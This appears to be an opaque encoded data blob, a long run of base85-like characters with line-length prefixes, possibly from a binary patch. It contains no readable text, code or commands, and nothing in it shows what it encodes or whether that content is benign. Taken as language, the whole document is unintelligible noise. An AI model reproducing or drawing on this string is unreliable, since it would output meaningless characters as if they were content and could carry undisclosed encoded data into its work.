zgWI(ktdarAZJ+-uMWE~F2S zgX^1rxA*`@oCnw{hQi7};b^!Ddv|NYypv1144X7FknG9(x7#`D2Ln8>f@l`FocNCC zlt=DN!lBmK(RuGWY9%XDBya1+{*bRk(*~AbxN!ykv=U9tdl(_d@IIjobtmM4JK^F> zulxhj<5yY5Xc3d*Yg<03h7czsJe0JWV{wSm0;;9_dqh1?#8BXH3e^q!Vpy7G~!cI zAboEN9*CQF3PJ{@_&pM3(D*ut-zkXDVIv3>R~1GU=(0ljCW`B-{1}vvitC+_KLJuF zJtcCTtLu~;o42myOcX~!vu9gF9U?9e>KzyS_rpEhTLhM@RVel+-4wCEu$HyAV~}& zGd*FK6W+-GcNrDLOkLUlCvL={O@l2lkcl$XoIn8p5^fMJr^Y#4tK+D{`5FYJdj&3p zMA<5oeTHRM;Kxq<*v=nd@4Z6BycCIbxW1S5!mJlqrX>U_P;RzIADP0m$hd6krH>M@ zJtR<(a1#fWMufp{aONAQHA0JjLvdr*{ODxYVqNx*c$93z&22&KCTdJ z@zEgQ4!&WgA^pWd+vrh+}*UQHNwgS#pd*m4K| z4SserjFe(348+7d5?@0_-XImMT5T;P`-s;3iRN?xj5-lOMnaG7ZSd=U?s)t2*EN8Y zx6ACQUY9u4Xrv1o8S=rfNe#~5^~NJh=j&ZQM90;tWAW`M)g2jd-Cs?+vr`5I*g8v5 zomI2C*ZDM-tbe;q4bviCkkv~@40&_dxavEmz~oZECVJ?J%hA!>uw@Lnu!CbnWul`Z zv2$bB1s7fDC;?}e_;yWV!WohEdE=^YuSX?U;{XISrsQ@2Rj2p8G|?d%{&Cp2Q}k>j zz;yHT)MV9*KYoLW#epZQyfai*xt3M_ZdLi-h?iWBDv=F&82%#UA*4b_Pkltyc!)LT zpa!uy6XkdgT!N-$p?Rv%4i*}36uK0J5JL+Z;Hi&=FEtQt-0^}~n-uc1Dtfq@g=@Y0 zZ2JK2s3=|8Dn@@LCI>@rFQ?Brz{;4>T=H=2{tp5?!1}hz8-nzy>5I%*^Q|m^^=Ibv zxlXo?ydjxIGIj}bw?)h?R*T8X8?v+kXhnjGw(^D)^BYt<82f%Uws2!L{@Aa!vB_XK zpl}~6?h!Roz{_lmEU!{=y|jyM?UV{g?szaj;g;IaNGex9AY{)W;F}8ow{n81?<}wV z4Ug;LuF6Im!sAh2k>pB!^$!L$gD055uczTF=6LP-Oeo_lyB39jnU+zQ#-&ezpvFDT z>HZLrZTvg?S^N#BKa0=&d5bLZJRe_ViE#RSGOAV*AX*(AKoAq?Qo}58E>FBiVTUc_B4!s-FY1xGCj5EbrZ8oH+hBy zR^KsL(-RMq{_)lQawf3lt~{}W00YOA;>d$vC-&ZmP*r$N=LJ^Z{sxN9Mp1FqGaN#f z!=m5*IERAgK?+3O@v|`tNLuejBoZX|)O-}j?-PIn(f4m^;OVk<=SX_i4jdN%KKo;` za}Q-zqu*!Zl=g;!_j7Vu-&2b7v;t~sEF~K!9NeoxLVR2p>><1kIzBLx}Mj2C+I8r)6~BgcpUfYKPw*S(I) zd!*V7(Xo+&DJ*EB;1}o=-bpubc$0s*;c;AdHKz08p#>PGu12enZH_E>!?0}IOd~`? zhWNd!uXlH@v4{8_yb)6`JV;##lLNReA41^H{wK+FEcljo;w!;WnB&G6$PRKZNpem7Ror5W*lce*;xr#ToCDW4i;# z!>wuP?`)Y+kDr{vDL>7^rmCWJ4ryJ zGSrksF_@+>xD}se^qm$`X!KM_EXvQF#Xnfvz@n$(c#sHsl)Q|kiIA);@2+DMv<$>H zLs>zPe(t7_MR5^(leh9P(q(0cZP@wL;DBpu?$1SE3wQL~H_(7#<=eGxPPl`Uwg{AIKR zy~T43r)v;5Ya9u(bf%xINjm@aS(vE{AC)u3G*^=mV@kmKGe|m`ZoEO9Yt_t9HT$xr zBU*ESQF9LtHd}%$$Zw;~K2K6Lcb|!xHIG<*HX4NTG;2cmX;Jb_gINDAFSg$%Uc_Hb zzdR+9Ua~y_QpW2McizT;mB70}+-r65Dfvr1wTxX%jdoFCbm5EbVzO-7kJ~hG%?m8k z$chW_zL7On=-%j!9#dhW!Y_aF`%SR_Kb8a=-$!-8#t z`yA9kLEt0&wQnw4`QBO{cW|q?z+G8uUf2f{QLzh*hDKA7k^Iw^v&*1$8@HkOcM3+J z_&z4Z`}BWF8voK;c?hYJLD8kn@Q&Yy-fr3D4SS(rNN@H4mrS%XqFheQ7O)yyEFIV` zG3VvO5fo(-xNps(559ttGpr<7+RU8Rcw&kzkZ`7ZO-~0CwpW911o3^SEXwg=%IL%hf>Z6S6FK`vsdV8py=oTjj&k->_#kp!k5#gmht{9ql0FiOmWbxK)G5 zSc(7thT?x~g$$*_Bo=l=(&rmB(oiEArCQ3n1K?mYIDkXpqsC5fjmNJuCkL7^U|xIy!SX`*B{W_Sbv*Sekl{}C zup90sCF+WW)YC!yGg8RdgZOud)1|>2nSs*Bpn$l{{PLD){@kuJjZ&>YosHHzsWyhZDPETrXg1!JjenIayA{7di;dSsfxHt8tOBxL z-KH>u&1_Jm(M-A3%u0M0PpS`Gx>p%6_K1b?3<)Fgx3>=4!41*Qx>%h(sXF_9AUYdw zvKm}p~hcat{F<4_tq3l3{B<`0xOxWJ13Cs?g zy9(Pni}W_ZTg@Ui@E$h7>tqA3@VXfA?j#89fH$dK@P?|sA2-3viv>?*ZfsHCYelaZ z*b-=JBiyZCc$`Fm@Al&zj)P zWf2?dW|-jBUlRpyP%L;C9|gRA{B~4@8t6HyL!^w4<93HZ%PAPyE;!f1Smgy5?ww_3 zrEUfE91Cc#&1Kfq{g2pokMiU>%0DR(fYO%80nn_zn$V0GWdW zeUMBXd1ca1Rt5Tq01Hs*#NK&0hy8to_7x6~aB8Y7bV?`uDPy*Ic!s6N@tvM}Za-`w z-C#8|_&Ta$xicO7lc`UYES8yJC(4o;HWfpU`jc>wpvJh;#KCiO+Qh-b>U%`oZG4a7 z01AL``f~NXkGP%RV^QFRs{v5ZNftUK8GkGk+{$;z|JoNQ=nCoGK*4-S=#-=pJKG;oq?ppUqX1!584fvW)!&=EJZXyH>j;E#oX z@AytnJv$Q!NL_9rU|vL>PE8LU6#>k(B=3)dQSIieO|Yu%S1Vy4SHjoMw4|+QAHFo+ z<<8YfoA8W)iiazc*5Rqb`)3w-*(k6W1*%kmrIks~$O3m+={qBG;WUHlk?V#VZ2%i> zU?mcmGJ$jjN`u%}ieh+$g7SCEADiI}Mv2pfGb9AtyUGMjHXOQr@BHvQCl*^DG}Qy1 z@5x$lOT?8MfDbv6i8aDV=f!>UXrU+!hnh^QE7Pq+6Pr> zc}%6{5|loy1i*Kpw;cey)(|%osI_9wEPfCBXJY9lqpOvuRV&_uSA?q)yl#?Cwl;jq zk{=Qr@GZvjC1?8LP&swQr()`^yw{q#(Rf6mk{R~?+*MuFp7{bRv2kto;RwY09QPV< zve4c@+r}|V79LOl?s2v7LJ%d0`jiTg2UT~8?Cw(-HMvFXkiG^o#WNYK-QtVdIB1Q* z29OTu{wZ%8G|qm*f27s@>+RfC{SPcW7+oUi3!{2>3)e1{kK-Y|+B@f*Wv|#MCggv|oe6JK?oEBZ7YOQZG?`r1Jt?Q0c)?1SAzuhs*yAdPKhZv8IFe!o3TK$yzT& z2W*zSKLDPYP$WQao1zVakMliXCXR>~B z2+5kl-dyGIvt86+X#-X6mzA(Tt=bnVt%AT``ZyW0u>Wx}IO@N`nX-3NT7_For`;fapAKyv-g8M*y8>T@FFs1_Cu*% zN`0>*RWo@Y+%=94APo@c4MQOcOu)tKW}pxuX-fm@yB3bDE2qouF@ zExzHtQ^+Fos7|`rU0Flp73UJBD`=C7Ep5^@(FE|Z^WVx4ERU`z0lY_JFir_u!uCFf zP_mpXp1Rx}32#eRg7sexo(!4E(oa>}>~ismv}egQ#HGl%R=V0?+Wb98NU$VUvjDdK z<(SgdsM(vIs!S~1U1h)APNUq+ao}S;;aMrZVSyepL^2}guLoLic%f%-i=`2KYL=gN zi5vKddpKFp5HngU;M{Bb0x@36GChUcuhGwPaY-zM-thF#z0kJd-Y->VwdfTCy-8)w^wJii3%0TZk;ez)Q7GZS|^ z3Zh^Qi2-YL`(T~f4p{E0EZ_~04K*R_6bqRWn5LVMeNogJvO*KG;Wo$~xT-b6{tioJ zJ2QGWKed4{ch%_%vP0^wishn+J=<|+iA(32!1-f<`vmfooXr)NN742J$MY3&2| z9a0Fk3EbKt2SZxj-6C;a{?3L=CGPBp|F}><$ zuP^$d=s3yhwM#p_TDqJuX2)G)J9bw=%g3o$X7=3(+}TGw+3fpbTi<__1kDjIlgz*d z)9vCYCl}-`gS~^n)U ze08NXHB@W*`6rzKmyzSY=2>3G%uK@XF1%h{#(Zgpi<~5MuDdG9r&q(&*y=jY{Ditz z*Jl!y`C#iEa3*XXnTdmDfwOD@UN())jAM4k^cT;Qe8Ze>;0JzHaX5kx@$$na_2GJc zaH|iA@o zwHLCtcjhtM`<<=5liF%;n7zFZP2{yZ-a=b@r?l1Ho*B0BE;(j<<8AG=iN6Qz?Ok-t z_RhAom(dn{`S$kqer*s7#w*=p4M{zRHLYz1iIw5e!jM&3>kG8J%_Vu#xcos$Uo$^C zygmYcH&J2yrlq&|+rr>IAESLmUNQ(k4vo%a_)d@k#YT)c;(=4>`-6Wvim`|kqH%Vl z(cDPna8E#Sc%xGmj7D+<_qt*PXEgjZ?ju0DK(~I#7kVmd0hS$I*w59f3e|rdw7l)J zPSL_$?$*|Qk|5@+Qadp6f~&ICfexbbX6y=;$lhKNwg38f(*dG1#>3yXtAH&wvdpg+ z;>W45NNR(&XjRjV9<=5?h$G2g7eQ|LT5X-U#Fqd8{)3Wp8~fY5aBgMC#u!ac9HKox z@52D%e7g!i3xpF_0o2<3&}C_3!ij5*=al@=#k9jiV)}KCU22*H7it5iKK<%6pPr9w zSa15FnSRNH&X07>(3CX`ZQVfxr>`e~TEh1Hyf=$y_y$2Qgl~KD*I3wUT}of44O*X{ zxBm7KzCk@N3n!i+%Qv=ei>@1Df^EiR*zXL*eD)jyXRHInpG(tkOKI$9!{He(L~*Fmn<+F%?e!lA5bWR-o%kKT zPobIcl9>tBh76Q|TNZT;EBMF!;OxbyLjoo9uUoF4SNdcKd=aQ+_jy7n0 zG=N0VP<>%2SxmeZOJ-CimrHPDO12TvZiTbA$y=ykeB2+e)PG5xaHf5>K%QxOcX2MA zB5=BGgC7O@9e|@{iz@hGM-+U?D7Zs(Gzvb3g1BU$$bo-KK#gOenZfY-Nrt2ZVG-$% zsQM4FezQ;=jm;_%Ly_6~WMS&0M(H|L z^+HzdsUYMjckv=sGafZ#PU`N@v##8|qFN+FkHi?>8EK}Um5TdOcVFNViyW{4Z>FH1 zPna(>oPKdf@-B7aFR(>w;RywNuHh&At;80f>60@QBX=I6KBe~*R4wvG*x6W#F%H<0tu zbuk~|Dp>v{$Wc#yJy`-UoB%wEDn_yEZU+B!3fv5H(r)jd=@T*#n-rb^1#aqts34mD z&2Ced^7%&iXyEk7)$-;ICh01s7d28 zRl!U)UEs0o(pd9070_V0F59(BlT9r?i!2e05+6??J=qMHh6?D?Bw3(Vyut#Ik4(dK zx{?-li!@hMQn`5~pM#|Xl~T?r=0C%&2uVGlo`U|ziEqj3+deUs-`cdU8tQ_>XBxn{ zV}Y~O1w$14wc^wm@UR1LV7tX_mqfwaIwA(V26+3l2i``0YZE-f_*-v+_m{~rxKnzT zX7#;REaGY9{dYPWa?muvwa*f2$(3qGJqrTd9O6>aMYYS0xvS4Ru?d zY9G9(`R%AK2jo?it1k?#3kY+qtKu+sKAA`&dI+f#4j`;Qf^_C%pGh z**iii-WA^s#So>*%52b~8DS&(xRl5^RFmexRt;(*-fS?F4OZA1eDtR@I8i(cCSF2_ zY)JKDsI9@P(4caHZUtd}!ZySK5kg)J1dt0yg>F7)qJ9<9n{E?@(sEMgew8W@InXW= zE*NR9$`Q}dlnwNk%*Ef}28dfc=ayl*ZCuSn5$HvjXeaB>{aR1G!GXCO341asldG9w zv~wofkz7rYVY-_rhGW*PLo*ACK~h9EUaCv_NMS1e=ca6k1P}}6z(p6g4l$(8R7FT1 zkk%d`%~6sp0$;>fGkJ|EVrO7ULl&%vB({PESlb3;zb2alTlGLpU!aF6=Y{<}#I%V3 z*?BO7Y_ab zC*w^KAspeupolNIRg2U)%a;HQ=8#Ic9sClnZ}PIO&)`6X+po$m2Ea%z7+bp~ zZdNKpj@!|L7%-VBpn~hbS=(B1vX%dnt(2U;2aHwjZ^AKA8gVC~q_cHZU%tq^q z7U^6BT0}mX;tbFs;%i!62CMkE*my?J7uZ{KdsMV2ExJ9mysJ~3Wiz>%N!Kh%fu)y# zM23qpEf+FI_JkVQ`#)f0Yl=-u zT`4|Nn0Kzm{hC7n7Tv3#P?Jh~_+MX;_V7noZ4s(Pt){i&_dPfva0N*(QH__f)HO!q z@JC*VwmA`2R);BnWsTHvESG~N5}n>!;j&s=rD$j{OLdL5HpHNjW=yluDjh{@MJKe% z7i$%#xl$Z>j0RX6w(#*1^>Lv15FfF3N#6ix`5!SCYBsCYY-VCMv9rv<&LSQDEzdHX zbN`#UOc-mQ%irueaxT3JL0!KGg1&^&kGm@7UUX9=%DEhWjxm?l{Yx%T&gJ{h%emZf z5Y<+pntd+Ur<-$`q8fjerIs0uV=iC7M6{aAdmfc@8DhB`u)o>ovczibive;!n95Qk zqODC=(<%m`Vyn5l7_GLN%d_yJ-MLI74F8+CyzM8g%b{1==kiYkma%D?Tl`gp66Kkm>D+-tZ?X&qUBBIpFJVQ1A zX$wlNM=3Us+1!n(Xf>NPf048K63g8OGP2L+U#-@9tJdyisgh`G52%S1lTfkMY!;!_ zR`yK^uGuPU56(;0_Qq&WZbihgTYOx_%%hW;?yAFg!)#!gzSFUFT@uOe4q5-Bbbbk zSIBo4ULR+KttbAO%x9b2u8cxMgJimHYfy9{{ifijp|Cu-8CdQL`zhv3#ACrw2}_2n z>?Hu|epznpIuh{dsfjE)=shw^b&Sgv6V8&)`c;`C3-N$_UHP{7XuW(ZS-H>E^vTkv ztI~L1AhxRa;x5u(a6=J$4BT&H@3O^x-AF5B@1E)}iMPB7-QNHUq@=F5M965vPY;dO z=A~;_#38)7sYEFeIrwY9xT_tQ(}wdjhOfKE+JTLEX7J|l7gutEnPdpjSvX^Fx{L$tu6Q*ll*y|Z z+*TrHOspO!xvlk?sJ~dtTMq+7*uPkMZLZYVoQ%$fLPe%761~wJ;28{f6qjin-@C;f z?vVW1r(LQYY%bjJffg*6oJiLmfO!>s_%&?MK330Ql3NY)0*d76FiI~-Y4 zgm>ZgV2(%eJCJj$F+4zcpjkFG;q}4^_#vo7(r>>H z5lR-*S}Sg}I%zmnBI;^(k{j)0lF>=uXeWxRIS-w%SBpjMj~A^8h7&Hms}_q6>Z6Ui zZT!%lhfMJa7%{}BBbc0M9%Bd$;%p8`Ds0LAiuB`RCh9>!gO z*R^b1Igq7Qe0zqNsp=utzIJ4etTz(Z3d@S%r;J1m<6$~(<$o*fdC0@{P}T}`r5TAD z2J_6yg*nJs_MCiug!^sWIh-iW*m;O0`UTu?VLZu}mS{So!YnYBnMAiC)4ukzd*3cP z149w7Ut{;aT_u^OALo5**e^9icj6Q*$;zOoMy93@cA^fuC!WN9Q0~ZL52{ohOX%ehK_lE)q zjqWV6Wg+`4#F`M4kq>K1x({QH>1@3{dN3+IoXqcxX!|{`bDP#=qBn8<{hY%Vdf2<% zFG~P$N@OAvPliVSYviT2iJDkiuMGfm2&Zg!6}2Sb0g9x&P%lcduwBbGyUI3q$~I{y z>Tk7H1HQ$q=aTj6#Qmqq20sWss*?Bey6+q`Tqb`SuK&2uPQ}G)`c`r9>%$Df&ot6! zCc5Ybjm#W5R6-;nZ6c=8F13)WO=i#BHYU(30HPQ}1L#@xU_!`tu7W^JD*t$4nmAq2uMYvWRN6M*V>ReTOk!_u#hS( zUPZtiGa0$73|qtVk_Fr%`t&!Ey5_#Wkpwq`|AJRnVKi^b^`}{XBDtXD^R`HKfJPUziQSdl18zE-rtM%g)6#&i`nvc<8Wz-~N@Sq0* z95Vw`WVt!5X26GchEseIcazyT9tzx(k(F7Y9yD#{H?ik7(f6uT!~2X$ggUsYfIq51>$B`;dqyJU>y*-4*v5bLXv+XvQ*<2Oe~W zX|4)0(}~RdP$#PTVcwve+vTo8_Ia*`OW8E&s<1El^^;t=7cvZ|7WZ8T>mo96=c0H7 z?x2JRCDu&j8vOVkHMLkOCk=TM639fJVGe4fLZuUtHK+q(An*idY_RDv!g`ALhX@w^h$$}C#MoZ(VF0XDbQqWD)luhKeei&%j zUo8q=A@u%kd_7bd|GI7y??BI7)9#8lJQvq5{ zVg3~-Ut>#uR}|ni5qJ;$+0@jJmrckhly2s<`(Q@*R3P(BzJ5rWr?-jSM#XGY^n{+0 zJch*+`1ZnCF!A`3S_V$)zx zA7R~S;hWL|c>Yr6Jn+GZuXZejNi0ch8C%6VSpHBABsVk@!pC~tq0+XpKOf3|cU0Ry zqQ-O1#2lpICb*Qp9`EZ==5#bV)_{`V?nj7Y6wheOv-@zS*MVY&ZNq4Yky7(GZZjins+e8k2FH^LO9-JZ* zzw-?*8b4DWc|(JZyhithZ3_$1TqEg5AcM@50+wS;Z|@zQtM#L0eZ!^c+a&p9b&8d z)l78a#;BT>a&)olYc>X-%bGy7Onb2y`f*l{V3iPmYh^W@rrw8J?Z^y4Le1n5M zN6zPtY?#K=WT@5_@pdon$lF8_n&V1gb0LJIU|6R`SG#P|T}5)n(%RdLR9Pp!Wvj`4 z9XVS{A4U+WXV1Qfm>*5+?dpH5$dn!tI$c>rMH{gE}^6p2p>9-YL zILjd96YGG!)+?ZE;*j65_M*+dC$3lx(T@ts{xMLt9{5?k2_goL?8}SYRfhF=h#bHc zvEyX(u(?e(EceM1qle8Opq7D&dMWP336(CzL9^5t&3(p9o=eCwfEAI027G!86ZpUd zNDJk_%Lv{^bOG||hv^Tmk6TJaBmfZ=UL-MgmVF3(=Ied(>786wj~}?aaxnw8=*kKG zkHZ&EeH4*bK7C{w1(7Y{*1-;1xylfJXzb2aVPb^y)`LA~nb?qQYLugrcf8e!Q!(4% zsG6*)>;@k^F0HLSNwP+|GRgTY&%i3jy=;8vUn#F#!xJ*vw zV%$)L3iYx=$Xi?CMF5oxuGZ;76<#eiurM-8Eq4T`%>pHAb;*HBztARFcg= zG|BLG6<;j@%8U(33l@Skg9RKocn|NXTBuhy+pQLLvY;A~3~GiAKd>4loT@~#_$y05 zH!G*G+=FA-gImpb_b8@vIx_l|U|)s&corwRUd%#q>>_|{skn(%nP2-PfEc@HUWSj+ zJ#!xR%!|25hvIeRq*<}sW+t1mw$1ri{+Dpu?8rud&p7b}c90+($@|saiqp?rcMtRKxHQsvq?}ohFL*AWO(;rrNKL&3( zi6juh6o!+oRgcsUPgRe}c$}gho!0gdP1F=l|203F`IyrQCsvjkD;oofe zoQcU}#s312e21tMP{&3Mps@G=UBN7h=0uJ3Af=%!sGmyk{WRVnFcRwVuN1yHitdP}l; zdr#){vJC9!_*FD#Oex^v+=C znwb))hp0Gc4)tQy`7Cxm-sllL%p9YOOJcjY5?x?E@7YlHfn<>DxpIcTXEMl+))Z<# z&_SPuC~6O=Rx-XNg)YY4i8+wAWOx^=-5N3@c`>qL8u(1?v^W1CwWKuOAA*w~=4#c) z7{I--C>w0hi)yaKykFrJm@vC<^6%M62ojy)my8DI$bPqp)j!Bg0XEJ{9(QDAS0qT# z(B+e=%aQD|U$o27Mwgw@C3Y%1=hYj{%e2}uLgi)#g~vovD?7mvyiPS%gN@fofo29g zuD9|#tR5s9F?%x$jzsjgkgbK`) z_Pr(#O>@;|`v#gjV5q zt-@1e;lO-e=GsLLcc<>(BI58!?%C{%YQpHu7hBc)s_MBYX!di1t>CRz!In83Pr!+7 z*eTTzTf|mk04whWs$682t_>&@-K6%3PmwS~?Z>CfhEm^r9}Di;E37sC?p10Z{3G@) zvIdsd?%&H)0_R%iqA_w0+$Jtl-2k`Opqo95u&&JQaG$u->S=d(xtq*jPotwf-E8!f z!=4&>F_g4z?-Q3;H9t}{&t}ckXw7qtnoZazTEW;6FmmsF0lFLesK5Ny9Q8}8#Sh;@ zi!T*eqi(oTjr!5p7FP!)Cb5$5#0@s~HXpFsT&~)zV4KsUZ7wm|EQoD$D%wOU0O~%B zt(`m4k<16wUgSS)+{X%(!_I{TFO?sX+olhjmCe_(b`Dk6&cQTr_5mvofd!eJ@MD)R zT*=I_o(kA7ba#&AHW9!g{fGL9#Bp`CY10XT_==+`e>+g zmcLG*61Jn09_WP090SUGD0nWXM^Bx(6NtHVEHE5S-*5tHp-xGKOJR-ua=3XSJBG(#44oX8TR3GE|h*OOs{~~RK(+3$vc34GriSO0ih_xs} zvO!)yTG%4u&4r2$wi3*(!;4l(L+PQ)!q!JT%8y}Xl2V%DBTQ&gVTrku`EQTqyT7uP z?>>}$KxezT{0lI)nVo?{=7H>Y4hPaYmwyKoXi^30g|ve~mN0YqUoCe?WJVjC7Ijm8 zraPZ)_QeegK=bWnZClB226QNcBcXIH{QIAFR}GSIr{8S?SDq6CoKhEVHes8_?>5-3 zll1{xl`{(4iLtN^JPK@``Ry1!%E7(RoOaXlu1F~v%A*>JY*Pq?2x=tPh6#k$y&SRd zY!VZ0G?WF!tuTYbV;Ge(#iAx7DsiG|8Hn1OnYni!!jMKT1qfNmYeTA}NXw5_-x)Yqw9t_UpU>`X)$!g@EP36{$lKK*(q7;(*Q z0WR+?>68soa$YBY-nVxo`3HS#WObJL$Fl`v-fJ(P zEkxnK{M@UvO5jg^0gC3$mIZi4YP7($jAcmD^p6|I8it%A@ed>{!wC=xF!6Oa2ser% zACzZodi7rby(H1`i|9}WKZ7DIbV>-`(9-*COXNzNDqBPj`dp?4{&z@5h8KidP{?t& z;n?^(c&5VF1#H^D*U5ag0w$p7^>Fkq*SyrT8oHwFgef3SR>y6vKDo#j)`9 z`1wBuU)S65^$A1{g`S({qY>mc`LhBbTbu?C&BE7pgp1yKCcYf#)4*3L$E3VQehj`g z4^sG|-?fRa6X1T^3SW<*5b$*nF0#Z|Kg1{yUnk?Q#MdYIpzzhqlKSxNcyTOz%{~uB zkDI=l(rongEaVr3ue^C^B%D5Fg#sX3Gy#DYzJ|d=yA{5+53%s&myp70i}fZqY|@v8 z?2IW_VL?U{GWhh(P^w5BqZjHX@CQj>#DgWk1$E&hA)l~(!b#u3w4;UGnOMm5`9!~R z%f^>R`6Ur9JJPrqzCwh?_WVIPA6fQB96b5@8{+AHOcw`>fiy#glP+YD>!5_-#vEo5k-VJpkP0WwBrNce3dOCVnOqDFaK5DZs>`!+ zV(+>58A`@Z0A_8@6fKMpp75A7Ei@9G%a~03&c-w3`H?yJ>%w0Re+%%}hrbiGU|+O` z_rXm5ov8j~7(a83zXkHO#C#5bWFWtBMiNS3-USnZ6bjL4QKs~-qT3G9KM45jY@xqn z6#aJ`Ci)lBVo2s!&OrFK4C=687tcb2K&vwDhLhIC5vx(0-8BRKDYR`9ugkLGq~5Yn z2Rdg}p;bp%OLThH;b(jxAy^lWhZJ1lUYFu3JHWqbFh{8^ z6sRYRwm$knwI$4V=uoi3&rs0x*Ss2}m$X5ajH7n;bU2K0+*m_EOB(gQU6F58TIj)$ z%TUKH;@#Upy&$Mx8+kOE+(lfZS6MUM`}b`VHTAi~b#M()`>uG-G4Dr;KulEDcTVfjC9EdR8&eP*AA4&LyYmC~lg z(raOL5xdx$M0p*8+Uw0KTvT83U!<(9jLldJwjvwpWnkIFUT^c5b*+JGz|Wemwjgo{ z+~yyl;5BdR$`vQVL`zX5w>`Xa`N!m|^@Z~@&2|xediD))z`JD?jN*4b$haaBlFp3dw$gR zyn1bM= zz;-@?xIQ4N;K*dbI7e1H64y2u!_RV)z-b-+Kk2svc0Qf=Glr9{oQXY0hXo)(d;@;k zba&n+2FO-rW*?}Kqi)Bod6v8;3>zvFaxJ<$6Hb1JEzZvn6M(nI&Ue!DIz#-PjG#Uy zTeykMaMG(cbDv8v``RMb+{^;)ju};M;wh&e!05r->G^5mLfPi!nc^JvkS($$yP0&I zY&_Y*&Lr7(E9|`fx=(+n|<2Wl5&K&gkp+MA?Lz~*-*4-Iv2z>u_xIvl$-dT%bZ0LuF zK6t=_jL*;8HtU217xl>rbgA_8i92)RJ%{1Wp-K^(w;AIgh za8ftc677hc|Qo!}E6|dfbLkB9}wa_l_Nb?~gX)SAC7ET(MKz42F=m|4E?c^N*vd@Jug>t zz6#>1(FWCOd3D97`v!gGt$bbi8kyLukgbf2TL8BV=jA)uL|`KvZQva+IU6k0yiWOf zAK#IbKj>pBA>8`t40)NTr*hhKXIckX1>u-B4)-W;WrBf~)NuxeJ8(uo9+0NT%GX5_ z)T7QcW+3P=M{LuVtXIfVYajV|-NeHo!zR?2#01X?> z%6Dm(_+mQNMXk44(rc)6AKaxmM?2K_wPG{BbGv&etAQl3aN`R6u^Z+fb3ymCaPKqx z992I>150sDrqWCPGpm|q$~QU7mhfTNInMGR9>SO9h^9jJvlA?(QK-6PJacfsn#;w1 z`E)FP1gjNbmfsBE3@*r_;I4^npB;+4iWvk;jo_1T()j&yzgANHou|YRrOs|6)0}Bq znzP%OOsSj-^^pgeG+St5^qxbJs(3U(3l>KK3l_|W#hHk7&zAW!Fnl$}W%vrlvchC6 z%_L&BA+BH%EYg`6Uf{+s?nUes9h&-BT{7G@w35O$hn6kA`Ly-Wp2zuxqv(hcWQ%fv z5s+u(2ngemBar;D&c3L|_ z$iWbn$?3tpxiZ17Bks2*hANU5^3)CLoGB?5TY6rjx zcfH;$&XPMSofTa!WFwJnvScPozRQyI@@yp?0rQn96=Oi7 zqf+?LlMy;oFz29FW_^*l8Dw-0=$3ciGXC4NnXieS%ukyqvq{E&{VTuTB2Va2oD6~a zRM0vrlaDx_ck*~1;6Of{;STI5G;ocH*VK8OC(q+N^E^iK+HteM=Zgg`#?gBD9`iJV z52KXD+dIw7eJMC?AI{NTJV%vRFz!s7sm@V#pm2-C!Izlj3nva$uF~opMbF5YWcGYM zjFsvfJyy@Ku=5<%uq`gr!le;xi9L91l}0L)57%8(I?HFBeVLxhhQVg78}zkxfSF*|qCqV@+Bm>kDxC`s%nx9D3GB<)=V5P)%!5ki@Eu9opu<=V z5w||dI>BbTooUI~`_}@YIPc^Uww6cOEOmsPDbEu0C`Mp2<4NLn&QBf^G0vm4wyKRD z94gZ7TruN#NV$IW`&n@Eq%*&Z&s#cOBLa?$1=`SilJ%T~3;H z&c*Y)E;DwoKyO$qSSW4YUMh7*QN1nY1*L*j%Cq53o}L-;B^OYKrb#u@44NxWGqr*V zTl6c^f}0cd^)cqa*Y}bBl`@qWgQrSNJfsY>`zjx5R0N1q3l*75Wrz9&N)oH><#1xyMK> zj7<31aPmjU7QMYP+{bXEVjk$AO&;UlrG~z){0jEqx*bWOgEb!R-_2 zuaLJvbB@@_{82DmLmTMRp~uP3+v#(T*x;90)2kahYYCgFkiV9)#?(4&V0oBk=e^ZT z>@FWitmm1F@H7nV*I<@Y6Rt-_+~1uDRmbaFR zJR}9rjYlvNqUf|pwI??bQFJmJ{1!1`?;+>~Egil=+Z4>NNc*vEb#9}rOvXJH04csf z>&1;kwd~Bu)2!0m6(O!#F&$XdSb6VxrSkM^UpQ&mY>ILPX_#Nv<5U(rIFp`KOS0-P zK%T+{7{`k){1C%#ql*#TP;e6$5UEL>8T=Tb5r+){-k6mJ=cw0HrzYYKV6QjWAy5z& zJm!u(-KVCVfO%k#0$aXh6);KbOrt%NwcXpTOX9SX7BFjPS;-0pDX60g!tdd%?yq$WZ^Kt?IHv}+D zeN7vL^LyO@O4oVo;6RT`&g`16omVFbjJeQxcFk|&OXi@BbmG7{VN;=V@HXf2YN!?x zoD;srhf`|tftSJY@0yD4P$H!I^1dqW`nB`gZ{Qc+2{rZ?e~Ev;x&!%`zwb16081~F z%@3}*y@!UvCul)z04R)}zhR-$PmLZ(Cse{R4nfM!uY*9aw#0s1utu_&;?cLhcr)Mz zdEl}-94DgZOf?6fn0kXgrsTs*7W4tz5;7z3)PVypZcsDHB?rypl$Ydk!9F!54QLcO zyVdz{lgsVQF5Yi&RET(H+^yuPWDeo~$@~Q5M9jRSor$;@ABbB1J^qPkfguNz^P?uh z{S0^>b0Vh0_o-iTFEO=DI!RL|F4sloqqU_{ST}?R9MG?9OnwAajsMl!+qY4&TkW$~#{k0^V85qT=1n)FXS`SmNN9 zXHo!(G#UcP*}FizILC2Y;xPq~!IGg2P8$dTqz9X7hPb+*biSh`S@c7O+r}hu71(VG zc+7yg;jehMg@)%r)4N-8(@>p36New@ zkRr@XI1*YM@&|0qDi0332f7?Am5I1q44#n;(X5FS1ldSjs#xooju=(9O(dfq z^3{VCU)@7&9>)R5JK89BV_(G79pT(t>F&9~xoSP~r>E(4d**c^@6s0k2ptu~aIhbP zzQ$z$nsanBCCuJh_%~_JRnW%2BSxSuMC6JDT>8#LD=@K07Ep4j5R{@xRHFTLg4FR- z``gyDW*=H3K8sv-&e&k0e96P1y85;bZx?iz`%i4mQF47`B}Mg;{GVHd$D9$Cl; zq6j#NFg#~vy{}!_Q@mE)UFA?D0ZjrZK~Motbls(KJn&dRR+;~|y5F0bgv335zyJU9 z_hXp%USHMK)z#Hi)z#^;Q^|iTJ9T{2Ne-L8a+M=fB052vB0Zg=Nkv38k)9meE^=Qc zJ|jhp!P^ORUMW$|l=r1HZq7ah%UR^+{c%EUoWpqO_&_0C`c^{o#-*=epu1K1Z+9^J zi#A7%^rozcC2Ae2=^u7zlpgu$k&C~y{xB_)qN%ydAZ_2pn$5!9Ao~qXGDwH-y$cqj za}g6+^z}nWbN1ZI2p?o$Ec-SY zSt>o60h5p^dGg}bLH-0D_8_(NNBcvFZl$}s1hkREUl5qjRg|BweGFBt^xT>$j7Y*< 